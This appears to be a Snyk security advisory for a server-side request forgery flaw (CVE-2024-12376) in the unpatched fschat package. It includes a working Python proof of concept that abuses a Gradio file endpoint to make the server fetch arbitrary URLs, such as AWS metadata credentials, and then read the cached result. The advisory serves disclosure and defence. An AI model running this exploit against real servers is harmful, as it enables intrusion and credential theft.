Server-side Request Forgery (SSRF) Affecting fschat package, versions [0,]
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-PYTHON-FSCHAT-9553180
- published28 Mar 2025
- disclosed20 Mar 2025
- creditoicu0619
Introduced: 20 Mar 2025
NewCVE-2024-12376 (opens in a new tab)How to fix?
There is no fixed version for fschat.
Overview
fschat is an An open platform for training, serving, and evaluating large language model based chatbots.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to improper web server configuration. An attacker can access internal server resources and data that are otherwise inaccessible, such as AWS metadata credentials by sending crafted requests to the server.
PoC
import requests
import json
import sys
import hashlib
import time
if len(sys.argv) != 2:
print("Usage: python poc.py <URL>")
sys.exit(1)
ssrf_dst = sys.argv[1]
url = "http://127.0.0.1:7860/queue/join?"
headers = {
"Content-Type": "application/json"
}
data = {
"data": [
[
{
"meta": {"_type": "gradio.FileData"},
"path": ssrf_dst
}
]
],
"event_data": None,
"fn_index": 11,
"trigger_id": 2,
"session_hash": "l8v6ku4cm8d"
}
requests.post(url, headers=headers, data=json.dumps(data))
sha1 = hashlib.sha256()
sha1.update(ssrf_dst.encode('utf-8'))
time.sleep(2)
url = f"http://127.0.0.1:7860/file=/tmp/gradio/{sha1.hexdigest()}/{ssrf_dst.split('/')[-1]}"
response = requests.get(url)
print(response.text)